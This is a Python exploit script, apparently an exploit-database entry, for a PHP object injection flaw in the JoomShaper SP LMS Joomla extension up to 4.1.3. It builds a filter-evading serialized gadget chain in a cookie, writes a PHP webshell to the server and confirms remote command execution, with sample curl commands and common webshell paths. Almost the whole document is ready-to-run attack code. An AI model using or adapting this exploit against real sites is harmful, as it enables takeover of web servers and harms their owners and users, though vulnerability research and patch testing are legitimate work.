Joomla Extension 4.1.4 PHP Object injection

Exploit Ttile: Joomla Extension 4.1.4 - PHP Object injection Affected : JoomShaper SP LMS <= 4.1.3 Fixed : JoomShaper SP LMS >= 4.1.4 Author : Amin İsayev / Proxima Cyber Security Joomla version note: RCE requires Joomla < 5.2.2 Joomla >= 5.2.2 patched FormattedtextLogger.__wakeup() which blocks the gadget chain — PHP Object Injection still exists in com_splms but no known public gadget chain leads to RCE on patched Joomla versions. Attack chain: lmsOrders cookie → unserialize(base64_decode($cookie)) [com_splms/models/cart.php:28] → FormattedtextLogger.__destruct() [Joomla gadget] → File::write($path, $format) → webshell on disk Joomla Input filter note: $cookie->get() uses 'cmd' filter by default → strips '/', '=', '+' from cookie. Fix: pad format string so serialized total is divisible by 3 (no '=') and iterate until base64 has no '/' (shifts encoding). Format string uses hex2bin() to avoid forbidden chars: $ _ { } \n Usage: python3 CVE-2026-48909_exploit.py <target> <server_path> server_path = absolute PHP-writable path on server Examples : /var/www/html/tmp/x.php /home/USER/public_html/tmp/x.php /var/www/vhosts/site.com/httpdocs/tmp/x.php """ import sys import base64 import requests import urllib3 urllib3.disable_warnings() CART_PATH = "/index.php?option=com_splms&view=cart" TIMEOUT = 15 WEBSHELL = '<?php fpassthru(popen($_GET["c"],"r"));?>' # ─── PHP serializer ─────────────────────────────────────────────────────────── def _s(s: str) -> str: return f's:{len(s.encode())}:"{s}";' def _pk(name: str) -> str: """Protected property key (null-byte notation for string concat)""" return f'\x00*\x00{name}' def _build_serialized(webshell_path: str, fmt: str) -> str: """Build the raw PHP serialized string (not yet base64).""" entry = ( 'O:23:"Joomla\\CMS\\Log\\LogEntry":3:{' 's:4:"date";s:10:"1234567890";' 's:4:"time";s:1:"t";' 's:1:"f";s:3:"xxx";' '}' ) cn = 'Joomla\\CMS\\Log\\Logger\\FormattedtextLogger' props = ( _s(_pk('defer')) + 'b:1;' + _s(_pk('options')) + 'a:1:{s:16:"text_file_no_php";b:1;}' + _s(_pk('path')) + _s(webshell_path) + _s(_pk('deferredEntries')) + f'a:1:{{i:0;{entry}}}' + _s(_pk('format')) + _s(fmt) + _s(_pk('fields')) + 'a:0:{}' ) return f'O:{len(cn.encode())}:"{cn}":6:{{{props}}}' def build_payload(webshell_path: str, php_code: str) -> tuple[str, int]: """ Craft a base64 cookie payload that survives Joomla's 'cmd' Input filter. The filter strips '/', '=' and '+'. We avoid these by: 1. Encoding php_code as hex → no '$', '_', '{', '}', '\\n' in format 2. Padding format to make total serialized length divisible by 3 → no '=' padding 3. Iterating pad size (by 3) until base64 contains no '/' chars Returns (base64_payload, format_length). """ hex_code = php_code.encode().hex() core = f'<?php fwrite(fopen("{webshell_path}","w"),hex2bin("{hex_code}"));' pad_prefix = '/*' pad_suffix = '*/;?>' PAD_CHARS = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' for target_fmt_len in range(200, 8000): pad_len = target_fmt_len - len(core.encode()) - len(pad_prefix) - len(pad_suffix) if pad_len < 0: continue # Quick mod-3 check with first pad_char before trying all 62 fmt_probe = core + pad_prefix + PAD_CHARS[0] * pad_len + pad_suffix ser_probe = _build_serialized(webshell_path, fmt_probe).encode('latin-1') if len(ser_probe) % 3 != 0: continue # no pad_char can fix mod-3 alignment for this length for pad_char in PAD_CHARS: fmt = core + pad_prefix + pad_char * pad_len + pad_suffix serialized = _build_serialized(webshell_path, fmt) ser_bytes = serialized.encode('latin-1') b64 = base64.b64encode(ser_bytes).decode() if '/' not in b64 and '+' not in b64: return b64, len(fmt) raise RuntimeError("Could not find filter-safe payload — try a different path") # ─── Exploit ────────────────────────────────────────────────────────────────── def _server_path_to_url(server_path: str) -> str: """Strip webroot prefix to get the URL path.""" import re # cPanel: /home[N]/USER/public_html/... m = re.match(r'^/home\d*/[^/]+/public_html(/.*)', server_path) if m: return m.group(1) # Plesk: /var/www/vhosts/DOMAIN/httpdocs/... m = re.match(r'^/var/www/vhosts/[^/]+/(?:httpdocs|htdocs|web)(/.*)', server_path) if m: return m.group(1) # Standard for prefix in ('/var/www/html', '/var/www', '/srv/www', '/htdocs', '/www'): if server_path.startswith(prefix): return server_path[len(prefix):] return server_path def exploit(target: str, server_path: str) -> None: url_path = _server_path_to_url(server_path) cart_url = target.rstrip('/') + CART_PATH shell_url = target.rstrip('/') + (url_path if url_path.startswith('/') else '/' + url_path) session = requests.Session() session.verify = False session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', }) print(f"[*] Target : {target}") print(f"[*] Shell path : {server_path}") print(f"[*] Shell URL : {shell_url}") print("[*] Building filter-safe payload...") payload, fmt_len = build_payload(server_path, WEBSHELL) print(f"[*] Format len : {fmt_len} bytes | Base64 len: {len(payload)}") print(f"[*] Payload : {payload[:60]}...") print() try: r = session.get(cart_url, cookies={'lmsOrders': payload}, timeout=TIMEOUT) status = r.status_code if status == 500: print(f"[+] HTTP 500 — gadget triggered (FormattedtextLogger.__destruct)") elif status == 200: print(f"[?] HTTP 200 — payload may have been filtered or gadget not triggered") else: print(f"[?] HTTP {status}") except requests.RequestException as e: print(f"[!] Request failed: {e}") return import time; time.sleep(1) # Step 1: trigger the fopen/fwrite code in shell.php to overwrite with real webshell print("[*] Step 1: triggering fopen/fwrite loader...") try: r1 = session.get(shell_url, timeout=TIMEOUT) print(f"[*] Loader response: HTTP {r1.status_code} ({len(r1.text)} bytes)") except requests.RequestException as e: print(f"[!] Loader request failed: {e}") # Step 2: verify RCE print("[*] Step 2: checking shell...") try: rv = session.get(shell_url + '?c=id', timeout=TIMEOUT) if rv.status_code == 200 and 'uid=' in rv.text: print(f"\n[+] SHELL ACTIVE!") print(f"[+] id: {rv.text.strip()[:200]}") print(f"\n curl -sk '{shell_url}?c=COMMAND'") elif rv.status_code == 200 and len(rv.text.strip()) < 600: print(f"\n[~] File accessible:") print(f" {rv.text.strip()[:300]}") print(f"\n Try again: curl -sk '{shell_url}?c=id'") elif rv.status_code == 404: print(f"[-] Shell not found (404) — file not written or wrong path") print(f" Common paths: /tmp/x.php /images/x.php /cache/x.php") elif rv.status_code == 403: print(f"[~] 403 — file may exist but PHP not served there") else: print(f"[-] HTTP {rv.status_code}") except requests.RequestException as e: print(f"[!] Shell check failed: {e}") def main(): if len(sys.argv) < 3: print(__doc__) sys.exit(1) exploit(sys.argv[1], sys.argv[2]) if __name__ == '__main__': main()